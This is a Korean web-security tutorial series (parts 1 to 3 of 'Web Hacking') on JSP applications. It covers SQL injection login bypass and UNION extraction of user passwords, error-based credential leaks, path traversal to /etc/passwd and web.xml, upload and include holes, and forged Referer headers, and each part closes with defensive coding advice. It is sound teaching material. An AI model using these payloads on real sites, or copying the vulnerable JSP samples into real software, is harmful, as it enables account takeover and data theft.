   return;


if (request.getHeader("referer") == null)
   return;

String register_no = request.getParameter("register_no");
%>

 

헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>

그럼 위와같은 소스가 될것입니다

그럼 과연 위 소스가 안전할까요?

 

HEADER값 조작

그렇다면 HEADER값을 조작해 봅시다 어떻게 조작할 수 있을까요?

여러가지 프로그램들이 있지만 그중에 Achilles 라는 proxy server를 이용하여 조작해 보겠습니다

Achilles라는 proxy server는 웹브라우져와 서버간의 HTTP 세션을 중간에서 가로채어 원하는대로 수정한 후 보낼수 있도록 해주는 작으면서도 강력한 프로그램입니다

 

※ 참고

Achilles 문서를 보면 맨 첫줄에 나오는 문장입니다

"Achilles is a tool designed for testing the security of web applications"

이 프로그램은 웹어플리케이션의 보안 테스팅을 하는데 작성되었으므로 테스팅용으로만 사용합시다

 

다운로드

http://www.mavensecurity.com/achilles

 

우선 위에서 작성한 바탕화면에 저장된 C:\Documents and Settings\Administrator\바탕 화면\client.html 를 실행한 결과를 Achilles가 Intercept한 결과입니다

여러 가지 헤더정보들이 보이며 쿠키값까지 조작할수 있습니다

하지만 위의 헤더정보에는 referer값이 없습니다 그래서 referer체크에서 null이 나와 로직에 걸립니다

그렇다면 referer정보를 추가해 줍시다


파랑색으로 줄쳐진 부분을 에디팅하여 추가해주었습니다

Referer: http://www.jakartaproject.com/html/input.html

그런다음 "Send"버튼으로 전송합니다


짠~

그러면 조작된 헤더정보를 알아채지 못하고 헤더의 referer값을 가져오는군요!

 

 

4. 서버쪽 로직 추가!

위에서 자바스크립트를 우회하는 몇가지 방법들을 알아보았습니다

결론은 하나입니다 즉! 서버쪽에서도 동일하게 체크해 주어야 합니다

 

<%@ page contentType="text/html; charset=euc-kr" %>

 

<%

String register_no = request.getParameter("register_no");

 

if (!"POST".equals(request.getMethod())
   return;


if (request.getHeader("referer") == null)
   return;

 

if (register_no.length() != 13)

   return;
%>

 

헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>

 

그렇다면 서버쪽에서만 체크하고 클라이언트에서는 체크할 필요가 없다고 생각할지도 모르지만,

그만큼 서버쪽으로 오는 request를 줄이면 더더욱 좋겠죠

자잘한것 하나때문에 서버쪽 부하를 줄수 없는 노릇아니겠습니까?

 

자 이러이러 하고 저러저러한 이유로 우리는 이제부터라도 클라이언트에서는 자바스크립트로,

서버쪽에서는 또 서버쪽 스크립트로 사용자가 입력한 값에대해 유효성을 검증해야 하는것을 알았습니다

로직이 복잡한 경우 가뜩이나 자바스크립트도 복잡한데 그 로직을 서버쪽에서 다시한번 만든다는게 힘들다는거 다들 압니다 하지만 안전한 웹페이지를 만들기 위해 다같이 노력해야 되지 않겠습니까?

 

Web Hacking 1탄 부터 이번 3탄에 이르기까지 웹 프로그래밍 하면서 반드시 필요하고 인식해야 하는 부분에 대해 논하였습니다

마지막으로 다시한번 언급하자면 우리가 잠깐 잊고 지나가거나 혹은 귀찮아서 지나치는 사소한 부분들 때문에 엄청난 결과를 가져올 수 있다는 것입니다 미리미리 예방하고 예측해서 방지하는수 밖에 없습니다 그럼 다들 건승~!~!


'보안' 카테고리의 다른 글

Web Hacking 4탄 쿠키취약점  (0) 2010.11.23
XSS 공격 기법  (2) 2010.11.23
Web Hacking 2탄 파일조작  (0) 2010.11.23
Web Hacking 1탄 SQL Injection  (1) 2010.11.23
쿠키 보안 03  (0) 2010.11.23
:

Web Hacking 2탄 파일조작

보안 2010. 11. 23. 18:34

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

 

 

1. 시작하기

해커가 하나의 웹사이트를 공격하기 위해 많은 시간을 준비한다고 했습니다

그중에 가장 먼저 하는것 중에 하나가 바로 파라미터와 그 값에대한 목록 정리 입니다

즉 타겟 웹사이트의 모든 URL 파라미터를 GET, POST등으로 정리를 합니다

 

http://xxxxxxxx.com/pds/list1.php?cnum=2

http://xxxxxxxx.com/pds/list2.php?cnum=2&snum=21

http://xxxxxxxx.com/view.php?fnum=104591

http://xxxxxxxx.com/bbs/bbs.php?table=bbs_sw_qna

http://xxxxxxxx.com/bbs/bbs.php?f=write&table=bbs_sw_qna

http://xxxxxxxx.com/bbs/bbs.php?f=view&table=bbs_sw_qna&fid=48610&num=85973

...

 

이렇게 목록화 후 분석을 해보면 해당 파라미터가 어떤 역할을 하는지 무엇을 의미하는지 80%는 파악할 수 있습니다

bbs의 f에는 write와 view 라는 값이 주어지는것을 보니 액션에 대한 글쓰기를 할것이지 아니면 글조회를 할것인지를 나타내는것으로 보이며 table이라는 컬럼은 아마도 물리적 table이름을 말하는것 같군요

cnum은 아마도 카테고리 번호를 의미하는것이고 snum은 소카테고리번호를, num은 게시물 글번호를 의미하는것으로 추정됩니다

그럼 이 프로그램들이 어떻게 돌아가는지 대강 파악이 되고 이제부터 취약점이 있는지 체크해 나가보는겁니다

 

파라미터명이나 값에대해서는 유추할수 없이 프로그램 한다면 아마도 조금은 더 보안적으로 안전할 것입니다

 

다음은 파라미터로 적절치 않은 값을 넘겨주는 예를 알아볼 것이며, 파일 업로드, 다운로드 취약점에 대해 공부해 보겠습니다 ^^

 


2. 동적 파일 로딩 취약점

동적으로 어떤 특정 파일을 열어 그 파일 내용을 웹에서 보여주는 jsp가 있다고 합시다

대량의 html이나 txt 파일들을 읽어 웹에서 보여주는 로직들이 많지요 (저도 많이 썼습니다 -_-;)

동적으로 그 파일에 대한 정보를 파라미터로 읽어온다면 어떻게 될까요?

 

<%
String param = request.getParameter("param");


File file = new File(request.getRealPath("/")+param);

 

/* 파일 내용을 읽어 buffer에 저장 */

StringBuffer buffer = new StringBuffer();
if (file.exists()) {
    FileInputStream fis = new FileInputStream(file);
    byte b[] = new byte[1024];

    int read = 0;
    while ((read = fis.read(b)) != -1) {
        buffer.append(new String(b));
        b = new byte[1024];
    }
}

%>

파일내용

<%=buffer.toString()%>;

 

다음과 같은 요청을 보낸다면..

 

http://localhost/file.jsp?param=sample.txt

 


 

/ROOT/sample.txt  파일을 정상적으로 로딩하여 보여줄겁니다

하지만 다음과 같이 값을 준다면 어떻게 될까요?

 

http://localhost/file.jsp?param=../../../WINNT/system32/drivers/etc/services

 


 

저런 --;  시스템 파일들이 몽땅 조회가 되는군요..

 

Unix 계열이라면

http://localhost/file.jsp?param=../../../../../etc/passwd   ../ 올라가 보면서 찾아보는것도 좋겠죠 -_-

상위 디렉토리로 이동하면서 크래커는 passwd file을 볼수 있습니다

앗 여기서 다들 뜨끔 하신가요? 저만 그러나 ^^;

 

그럼 어떻게 처리해야 할까요? ../ 만 막아선 될까요?

Unix에서는 ./.\. 도 상위로 가는 명령이죠

아시겠지만 cd ./.\. 하면 한단계 위로 올라간답니다

그러니 ../ 뿐만아니라 ./.\. 도 같이 막을수 있도록 파라미터 확실히 체크를 해야 합니다

 

 

3. 동적 include 파일 취약점

그럼 include는 어떨까요? 위처럼 동적으로 include 할 파일명을 받아 처리하는 구조 말이지요

 

<%
String param = request.getParameter("param");
%>

 

파일내용<br>
<jsp:include page="<%=param%>" flush="true"/>

 

http://localhost/include.jsp?param=sample.txt

라고 요청을 날렸습니다

 


 

네 정상적으로 sample.txt를 가지고 왔습니다

하지만 다음과 같은 요청이 가면 어떨까요?

 


 

네 역시나 기대를 저버리지 않고 web.xml을 기냥 출력해 버리는군요 (여기서 알아보기 쉽게 <를 나타나게 하였습니다)

문제는 /WEB-INF/ 밑에 기타 중요한 properties (데이터에비스 설정 properties)가 있다면 낭패입니다

그럼 어떻게 해야 할까요? 역시나 파라미터값을 필터링 하는수 밖에 없습니다

 

그래도 이정도면 약과 입니다 -_-;

다음을 보도록 하지요

 

JSP에서 include에는 대략 4가지 방법이 있습니다

<%@ include file="sample.jsp" %>

<jsp:include page="sample.jsp" flush="true" />

③  pageContext.include("sample.jsp")

<c:import url="sample.jsp" />

 

이 4가지가 무순 차이가 있을까요?

차이점을 쓸려다 보니 이번 강좌와 좀 동떨어지는것 같아 그건 제외하고 --;

 

문제는 동적으로 페이지가 include가 가능 하냐입니다

이점에서는 ①은 동적으로 설정이 가능하지 않으므로 안전한 include입니다 (서버측 include이니 당연합니다)

그럼 ②과 ③은 어떨까요? include할 페이지 설정이 동적으로 가능합니다

그래서 위와 같은 문제점이 있지요

하지만 ②, ③은 확장자가 jsp에만 반응을 하고 확장자가 jsp가 아닐 경우에는 그냥 텍스트로 include를 처리해 버립니다

④번은 좀 특이합니다 물론 동적으로도 가능하며 리모트로도 가능하다는 것입니다

 

<%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>

...

String param = request.getParameter("param");

<c:import url="<%=param%>"/>

...

 

http://localhost/include.jsp?param=http://www.jakartaproject.com/test.jsp

 

어떻게 될까요?

그나마 다행인것이 test.jsp 파일을 가지고 와서 서버에서 실행되는 것이 아니라 리모트에서 실행된후의 html 결과물만을 가지고 오는군요 그렇지 않으면 악성 스크립트를 활용할수있는 좋은 구멍 이었을텐데 말입니다 ^^;

 

다음표로 include 4가지 특성을 정리하였습니다

 유형

동적 실행

jsp 확장자에 반응

리모트 실행여부

<%@ include=

N

확장자에 상관없이 JSP로 실행

N

<jsp:include=

Y

확장자가 JSP만 JSP로 실행

N

pageContext.include

Y

확장자가 JSP만 JSP로 실행

N

<c:import url=

Y

확장자가 JSP만 JSP로 실행

Y

 

 

 

 

 

 

 

 

 

3. 파일 업로드 취약점

해커가 가장 많이 이용하고 좋아하는 취약점이 바로 이 파일 업로드입니다

이 부분은 누차 강조되어왔던 부분이라 대부분 아실겁니다

php 서버에는 php파일이, asp서버에는 asp파일이, jsp 서버에는 jsp파일이 업로드 되어서는 안됩니다

즉 서버에서 실행 가능한 파일을 올려선 안된다는 겁니다

 

악성 스크립트 침투 시나리오

악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다

업로드 디렉토리가 /upload/ 라고 가정한다면 (업로드 디렉토리를 찾는건 그리 어렵지 않습니다)

    /upload/test.jsp 파일이 첨부파일을 통해 업로드 되었습니다

URL로 그 파일을 요청합니다  http://localhost/upload/test.jsp

    그러면 악성 코드가 들어있는 첨부파일이 웹서버에서 실행되어 버립니다

    test.jsp 파일이 서버의 파일을 모두 삭제하는 스크립트라면 큰일이지요

혹은 include 취약점을 이용해서 업로드한 스크립트를 include 시켜 실행 하기도 합니다

 

 

4. 파일 다운로드 취약점

 

간단한 jsp에서 일반적으로 사용하는 파일 다운로드 코드입니다

이역시 물리적 파일명 자체를 파라미터로 전달하고 있으며 이를 받아 파일을 다운로드 시키고 있습니다

 

<%@ page import="java.io.*"%><%

 

String param = request.getParameter("param");

File file = new File(getServletContext().getRealPath("/upload/")+param);


response.setContentType("application/smnet");
response.setHeader("Content-Disposition", "attachment;filename=다운로드;");
response.setHeader("Content-Length", String.valueOf(file.length()));
response.setHeader("Content-Transfer-Encoding", "binary;");

 

/* 파일이 존재하면 다운로드 */

if (file.exists()) {

    byte b[] = new byte[4096];
    BufferedInputStream bin = new BufferedInputStream(new FileInputStream(file));
    BufferedOutputStream outs = new BufferedOutputStream(response.getOutputStream());
    int read = 0;
    try {
        while ((read = bin.read(b)) != -1){
            outs.write(b,0,read);
        }

    } catch (Exception e) {
        System.out.println(e.getMessage());
    } finally {
        if (bin!=null) try { bin.close(); } catch (Exception sube) {}
        if (outs!=null) try { outs.close(); } catch (Exception sube) {}
    }
}

 

무엇이 잘못되었을까요?

다음과 같이 URL을 요청해 봅시다

 

http://loalhost/download.jsp?param=../WEB-INF/web.xml

 


 

그려면 요청한 web.xml 이 다운로드 됩니다

즉 이말은 웹 어플리케이션의 모든 파일(소스)을 다운로드해 볼수 있다는 것입니다

소스를 보게 된다면 웹해킹이 물론 더 쉬워지겠지요?

 

 

5. 업로드 및 다운로드 취약점 개선 시나리오

악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다

/upload/test.jsp 로 업로드 후 파일명을 변경해 버립니다

    /upload/200601171137507804462_jsp 로 변경해 버립시다

    단순히 파일명만 변경해선 안됩니다 확장자도 제거해 버려야 합니다 

    업로드 후 파일의 확장자가 두개 이상이던지, "." 이 이유없이 많다던지, "/" 나 "\" 캐릭터가 파일명에 있으면 부적절한 파일로 간주하고 지워버립시다

    그리고 200601171137507804462_jsp 명과 실제 파일명을 같이 데이터베이스에 저장합니다

URL로 그 파일을 요청합니다  http://localhost/upload/test.jsp

    당연히 파일이 존재하지 않음으로 Not Found가 나올것입니다

그럼 다음 URL로 요청해 봅시다 http://localhost/upload/200601171137507804462_jsp

    어떻게 될까요?

    jsp 코드는 실행되지 않고 text로 jsp 코드를 그냥 브라우져에 뿌리게 됩니다

    즉 아무 상관이 없다는 것입니다

    200601171137507804462_jsp 도 유저에게 보여주어서는 안됩니다

    해당 URL 조차 허용하고 싶지 않다면 아래 web.xml에 security 제한을 둡시다

   

<security-constraint>
     <display-name>JSP and Upload File Protection</display-name>
     <web-resource-collection>
         <web-resource-name>SecureFile</web-resource-name>
         <url-pattern>/upload/*</url-pattern>
         <http-method>DELETE</http-method>
         <http-method>GET</http-method>
         <http-method>POST</http-method>
         <http-method>PUT</http-method>
     </web-resource-collection>
     <auth-constraint>
         <role-name>nobody</role-name>
     </auth-constraint>
</security-constraint>

 

<security-role>
    <description>Nobody should be in this role so JSP files are protected from direct access.</description>
    <role-name>nobody</role-name>
</security-role

 

    그러면 http://localhost/upload/200601171137507804462_jsp 은 다음과 같은 메세지를 뿌립니다


 

    그리고 파일 다운로드는 직접파일 링크가 아니라 response의 ouputStream을 통해 다운로드 시킵시다

   키값을 가지고 200601171137507804462_jsp 명을 얻어 다운로드 할수 있도록 프로그램 해야 합니다

   즉 다운로드 시킬때도 물리적 파일명을 파라미터로 전달하지 말고 해당 키값을 전달해서 파일명을 데이터베이스에서 얻어오도록 합니다

 

ps. 이런 취약점 때문만은 아니겠지만 업로드한 파일을 파일 시스템으로 저장하지 않고 데이터베이스에 직접 저장하기도 합니다

 

 

6. SQL Injection으로 인한 결과물을 파일로저장하여 다운받아 볼 수 있습니다

앞에서 살펴본 SQL Injection을 예를들어봅시다

아래 코드는 게시물 번호를 파라미터로 입력받아 해당 글번호를 조회하는 코드입니다

아래와 같은 코드가 있다고 한다면 UNION SQL Injection 피해를 볼수 있다고 하였습니다

 

String boardno = request.getParameter("boardno");

rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_test_t WHERE boardno = "+boardno);
    if (rs.next()) {
        out.println(rs.getString(1)+"<br>");
        out.println(rs.getString(2)+"<br>");
        out.println(rs.getString(3)+"<br>");
}

 

데이터베이스가 MySQL 이라고 한다면 URL 요청이 다음과 같다면 어떻게 될까요?

 

http://localhost:8080/test.jsp?boardno=1133971825719 UNION SELECT '1', userid, userpw FROM user_t INTO OUTFILE 'C:/Tomcat/webapps/ROOT/upload/hack.txt'

 

다음과 같이 에러 메세지가 납니다 하지만.. hack.txt란 파일은 생성이 됩니다

즉 user의 모든 아아디 비밀번호를 간편하게 파일로 다운받아 보는겁니다


HTTP Status 500 -

type Exception report

message

description The server encountered an internal error () that prevented it from fulfilling this request.

exception

org.apache.jasper.JasperException
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:372)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236)
javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
com.jakartaproject.util.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28)

root cause

java.lang.NullPointerException
org.apache.jsp.test_jsp._jspService(test_jsp.java:64)
org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:94)
javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:324)

 

그 다음 http://localhost:8080/upload/hack.txt 로 user_t 테이블에 있는 모든 사용자아이디와 비밀번호를 텍스트로 받아볼 수 있습니다. 아마 이방식으로 유저 아뒤/비번 많이 빼내신분들 많으실 겁니다 ㅎㅎ

 

톰캣 설치 경로는 어떻게 알까요?

톰캣설치경로 대부분 비슷할 겁니다 몇가지 해보면 금방 알수 있습니다

 

 

7. 마무리

그렇다면 어떻게 해야 이러한 피해를 최소화 할 수 있을까요? 나름데로 생각해 보았습니다

 

파라미터와 파라미터값에 대해 알아볼 수 없도록 최소한의 의미만 부여한다!!

   역시나 파라미터가 중요합니다 누구나 알아볼 수 있도록 하는 의미보다는 나름데로

   Naming rule을 정한다든지 암호화 하든지 하는것도 바람직 할 수 있다고 봅니다

 

파라미터값이 유효한 값인지 체크해 봅니다

   파라미터값을 최대값, 최소값으로 제한하고 꼭 있어야 하는 문자열이나 꼭 없어도 되는 문자열등을 체크합니다

   파라미터값 길이또한 최대, 최소값 제한을 둡니다

 

중요한 파라미터 값은 (파일명같은..)  절대로 받지 않고 다른 로직으로 생각해 봅시다

    파일명같은 중요한 값은 데이터베이스에 입력해 놓고 키값을 파라미터로 전달받아 파일명을 조회한 후 사용합니다

 

웹프로그램의 취약점 분석 툴들이 찾아보면 몇개 있습니다(대부분 유로더군요) 이를 이용하여 테스트해 봅니다

 

 

두서없이 생각나는데로 적었습니다

그나마 JSP는 다른 PHP나 ASP에 비해 상당히 보안에 안정적입니다 JDBC 마다 틀리겠지만요

해결 방법이 생각해 보면 더 많을겁니다 물론 서버단에서 막는 방법이 제일 좋겠지만요 몇가지 사례를 적어놓았으니 그다음은 응용하기에 달렸지요

방어는 이제 여러분 몫입니다 ㅡ0ㅡ; 

 

뚫느냐 뚫리느냐 그것이 문제로다~

'보안' 카테고리의 다른 글

XSS 공격 기법  (2) 2010.11.23
Web Hacking 3탄 구멍난 자바스크립트  (0) 2010.11.23
Web Hacking 1탄 SQL Injection  (1) 2010.11.23
쿠키 보안 03  (0) 2010.11.23
쿠키 보안 02  (0) 2010.11.23
:

Web Hacking 1탄 SQL Injection

보안 2010. 11. 23. 18:33

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

 

 

1. 시작하기

가끔 뉴스나 방송에서 xx 사이트 해킹 당했다 라고들 많이 들어보았을 겁니다

이런 뉴스를 접할때 대체 어떻게 해서 해킹이 당하는걸까? 라고들 많이 생각해 보았을 겁니다

어떻게 해킹이 일어나는지 알아야 방어도 가능하기 때문에 이번 강좌는 웹해킹에 대해 알아볼 것입니다

 

첫번재 시간으로 SQL Injection을 배울 것이며 그다음 두번째에는 파일조작으로 인한 해킹을,

그리고 마지막 시간에는 자바스크립트 조작에 대해 알아보겠습니다

 


 

 

도표에서도 알수 있듯이 SQL Injection으로 인한 해킹이 가장 간단하고 쉽기 때문에

이를 가장먼저 알아보겠습니다

 

SQL Injection 이란 서버나 OS의 구멍을 이용한 해킹방법이 아닌 웹 어플리케이션 자체의 버그를

이용한 새로운 형태의 웹해킹 방법입니다

 

정의를 하자면

 

SQL Injection은 웹페이지를 통해 입력된 파라미터값을 이용하여 쿼리를 재구성하는 방법이다

 

라고 할수 있습니다

 

즉 많은 웹페이지들은 사용자나 프로그램이 생성한 파라미터값을 이용해 쿼리를 만들고 실행하는데,

이때 정상적인 값이 아닌 파라미터값이 입력될 때 비정상적인 쿼리가 실행되며, 따라서

원하지 않는 결과가 나올수 있다는 것입니다

 

이해를 위해 바로 코드로 들어가 봅시다

아래 코드는 사용자가 입력한 로그인 아이디와 비밀번호로 로그인을 시도하는 로직입니다

 

// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");

 

rs = stmt.executeQuery("SELECT count(*) FROM user_t WHERE userid = '"+param1+"' AND userpw = '"+param2+"'");

rs.next();

if (rs.getInt(1) == 1) {

   // 로그인 성공로직

} else {

   // 로그인 실패로직

}

 

 

무엇이 잘못되었을 까요?

코드상으로 보면 실행하는데 전혀 이상이 없는 코드이지만 쫌 아는사람들에게는 비밀번호 없이

아이디만 안다면 로그인을 성공할 수 있는 로직입니다

 


 

아아디가 goodbug 이고 비밀번호가 1111 인 계정이 있다고 합시다 ^^;

입력란에 googbug / 1111 을 입력하니 정상적으로 로그인이 true가 되었습니다

하지만 만약 다음과 같이 사용자가 입력한다면 어떻게 될까요?

 


 

 

로그인이 됩니다!

비밀번호에 상관없이 로그인이 되는군요!!

하다 더 보도록 하지요

 


 

 

위의 소스는 MySQL을 사용하고 있습니다

MySQL의 라인 주석처리는 # 입니다 아시죠?

 

즉 뒷부분 password를 체크하는 로직은 주석처리되어 버린겁니다 뜨아~

 

같은 의미이지만 아래처럼 여러가지 섞어서도 가능합니다


 

 

이게 만약 관리자 아이디였다면 문제는 더 심각해 집니다

 

이처럼 사용자의 고의로 인한 SQL을 조작하여 웹 어플리케이션 자체를 공격하는것이 SQL Injection 입니다

 

그렇다면 위의 소스를 어떻게 변경하는게 좋을까요?

 

// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");

 

//validate 라는 함수는 아이디와 비밀번호 생성시 생성 로직에 맞게 되었는지 체크하는 함수

//만약 특수문자나 아이디 생성 규칙에 맞지 않는 값이면 exception을 throw 한다

validateID(param1); 

validatePW(param2);

 

pstmt = conn.prepareStatement("SELECT userid, userpw FROM user_t WHERE userid = ?");

pstmt.setString(1, param1);

rs = pstmt.executeQuery();

if (rs.next()) {

    // 문자를 직접 비교한다 (대소문자 구분)

    if (rs.getString(1).equals(param1) && rs.getString(2).equals(param2)) {

         // 로그인 성공로직

    } else {

        // 로그인 비밀번호 혹은 아이디 오류 로직

    }

} else {

    //로그인 부재 아이디 오류 로직

}

위처럼 하면 어느정도 되겠네요 ^^

 

 

2. SQL Injection 패턴

 

그럼 SQL Injection에 사용될만한 문자열에는 어떤것이 있을까요?

 

아래 문자들은 해당 데이터베이스에따라 달라질 수 있습니다

문자

설명

' 문자 데이터 구분기호
; 쿼리 구분 기호
--, # 해당라인 주석 구분 기호
/* */ /* 와 */ 사이 구문 주석

 

일반적으로 알려진 몇가지 패턴입니다


' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

' or password like '%

 

이러한 패턴들로 타겟 데이터베이스가 오라클인지 MySQL인데 혹은 M$SQL인지 확인할 필요가 있을겁니다. 왜냐하면 그것에 따라 다양한 공격 방법이 생기기 때문입니다

그럼 이러한 구분은 그럼어떻게 할까요?

 

SQL Injection을 이용하여 다음값이 true인지 false인지 확인합니다

AND 'abcd' = 'ab' + 'cd'

true 이면 오라클은 아닐겁니다 오라클은 ||을 문자열 concat 으로 사용하지요

 

AND 'abcd' = 'ab' || 'cd'

true 이면 오라클입니다

rownum 도 구분할수 있는 좋은 예입니다

 

MySQl은 라인 주석이 #입니다 다른 대부분 데이터베이스는 --를 사용하지요

#을 SQL Injection 하였을때 위의 예처럼 에러가 발생하지 않으면 MySQL입니다

또 limit 등도 도움이 될겁니다

 

이처럼 해당 데이터베이스가 고유하게 사용하는 key들을 SQL Injection하여 구분할 수 있습니다

 

 

3. UNION SQL Injection

 

위와같이 WHERE절에 SQL Injection을 사용하여 조건절을 무력화 시키는 방법도 있지만

UNION SQL Injection은 원하는 정보도 뽑아볼 수 있습니다 ^^V

 

코드로 바로 봅시다

아래 코드는 게시물번호를 파라미터로 받아 해당 게시물이 존재하면 글번호와 글제목, 글내용을 조회하는 코드입니다

 

String param1 = request.getParameter("boardno");

 

rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_t WHERE boardno = '"+param1+"'");

if (rs.next()) {

    out.println(rs.getString(1)+"<br>");

    out.println(rs.getString(2)+"<br>");

    out.println(rs.getString(3)+"<br>");

}

 

무엇이 잘못되었을까요?


 

 

글번호가 1134896409234 인 게시물은 다음과 같이 URL이 요청되어 조회가 될겁니다

요청 URL

/read.jsp?bno=1134896409234

 

하지만 위와 같이 추가적으로 UNION SQL Injection이 들어갈 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', userid, userpw FROM user_t WHERE userid = 'goodbug'  ORDER BY boardno ASC #

 

그러면 goodbug라는 아이디의 비밀번호가 그만 조회되어 버립니다!!

그럼 user_t 라는 테이블과 ,userid, userpw라는 컬럼명들은 어떻게 알수 있을까요?

 

오라클 이라면 다음과 같이 알아낼 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', tname, '' FROM user_tables WHERE like '%user%' ORDER BY boardno ASC --

 

테이블 명을 알아냈다면 이제 컬럼명을 알아봐야겠죠

오라클이라면 user_tab_columns view를 통해 알아볼 수 있습니다

SELECT * FROM user_tab_columns WHERE table_name = 'user_t'

 

물론 한번에 알아낼수 없으며 많은 시행착오를 겪어야 하는것은 필수입니다

그래서 제로보드나 Unicorn 같은 공개 게시판인 경우는 타겟이 되기 쉽상입니다

 

MySQl이나 Oracle JDBC에서는 다행히도 ; 문자를 이상 캐릭터로 보고 에러를 반환합니다

하지만 그렇지 않은 JDBC가 있따면 큰일입니다 아래와 같은 코드가 가능하기 때문이지요

 

/read.asp?bno=1134896409234';DELETE FROM user_t

/read.asp?bno=1134896409234';UPDATE user_t SET userpw = '1111'

 

PHP나 ASP인 경우에는 가능한 쿼리 입니다

이제 대강 SQL Injection에 대해 감이 잡히시나요?

 

 

4. 에러 메세지를 통한 정보수집

 

admin_login 이라는 관리자 테이블과 login_name이라는 컬럼을 알아 냈다고 한다면..

M$SQL인 경우를 예를 들겠습니다

 

/read.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

 

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'goodbug' to a column of data type int.
/read.asp, line 5

라는 메세지가 나옵니다

여기서 무순 정보를 알수 있을까요? 바로 goodbug 라는 관리자 아이디가 있다는 것을 알았습니다

그럼 여참에 비밀번호까지 알아봅시다

 

/read.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='goodbug'--

 

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1111' to a column of data type int.
/read.asp, line 5

 

즉 nvarchar 타입의 컬럼을 int형으로 convert를 유도하면서 해당값을 에러메세지로부터 취득할 수 있습니다

 

가능하면 에러 메세지는 일반 유저에게 뿌리지 말아야 겠지요?

 

 

5. 그렇다면 막아보자 SQL Injection

 

해커라고 컴퓨터 한두번 두둘겨서 어느 한 사이트를 뚝딱 해킹하지는 못합니다

웹 해킹을 하기 위해서는 보통 짧으면 일주일에서 길면 몇달까지 해커는 치밀한 준비를 한다고 합니다

웹페이지들이 전달하는 모든 파라미터를 조사하고 반복되는 에러 화면을 보면서

여러 패턴별로 치밀하게 조사후 시행을 한다고 하네요

 

그렇다면 어떻게 이들로부터 웹 어플리케이션을 보호할 수 있을까요?

다음과 같은 원칙을 지킨다면 이러한 SQL Injection을 사전에 방지할 수 있습니다

 

프로그래머의 적극적인 의지가 있어야 합니다!

   -. 여러가지 신경써야 할곳도 많고 입력값에 대한 체크로직 또한 늘어날 것입니다

       많은 귀차니즘이 생길겁니다

       머 누가 장난치겠어? 라는 생각이 많은 빵꾸를 만듭니다

 

 사용자가 직접 입력하는 파라미터는 절대 신뢰하지 않아야 합니다!

   -.  입력값은 javascript 뿐만 아니라 서버측에서도 체크를 해야 합니다

        숫자만 받은 입력칸이면 반드시 javascript 체크와 동시에 서버측에서도 숫자만 입력되었는지 체크해야 합니다

   -. 필요하다면 특수문자는 필터링해 버립시다 ( ‘ “ / \ : ; Space < > )

   -. 또 가능하다면 SQL 명령도 필터링 해버립시다 (UNION, SELECT, DELETE, INSERT, UPDATE, DROP..)

 

사용자 입력을 받아 SQL을 작성하는 부분은 반드시 PreparedStatement를 사용하여 바인딩 처리 합니다!!

   -. PreparedStatement는 SQL Injection을 원천적으로 봉쇄합니다

   -. 꼬~옥 필요한곳만 Statement를 사용합니다

 

웹에서 사용하는 유저는 OS계정 뿐만 아니라 데이터베이스 계정또한 가능한 권한을 낮춥니다!!

 

에러 메세지를 노출하지 않습니다!! 

   -. 에러 메세지는 해커들에게 많은 정보를 제공해 줍니다

       가능하면 유저에게 알리지 말고 은밀하게 보관해야 합니다

 

동적 SQL은 가능하면 생성하지 않는다!!

   -. 가능한 동적 SQL은 지양하며, 비지니스로직상 동적 SQL이 어쩔수 없다면 파라미터 검사를 충분히 해야한다

 

------------------------------------------------------

앞으로 업로드할 Web Hacking 시리즈(1~5탄)는

저자 : GoodBug (unicorn@jakartaproject.com)

http://www.jakartaproject.com 에 저작권이 있음을 알립니다.

------------------------------------------------------

'보안' 카테고리의 다른 글

Web Hacking 3탄 구멍난 자바스크립트  (0) 2010.11.23
Web Hacking 2탄 파일조작  (0) 2010.11.23
쿠키 보안 03  (0) 2010.11.23
쿠키 보안 02  (0) 2010.11.23
쿠키 보안 01  (0) 2010.11.23
:

쿠키 보안 03

보안 2010. 11. 23. 14:57
지난 2006년 11월 12월호에 걸쳐서 쿠키에 대해 알아 보았으며, 쿠키를 통한 사용자 정보 노출에 관한 내용을 알아보았다.
이번호에서는 쿠키를 이용하여 사용자 Session을 가로채기를 할수 있는 Cookie Spoofing에 관해서 알아보자.

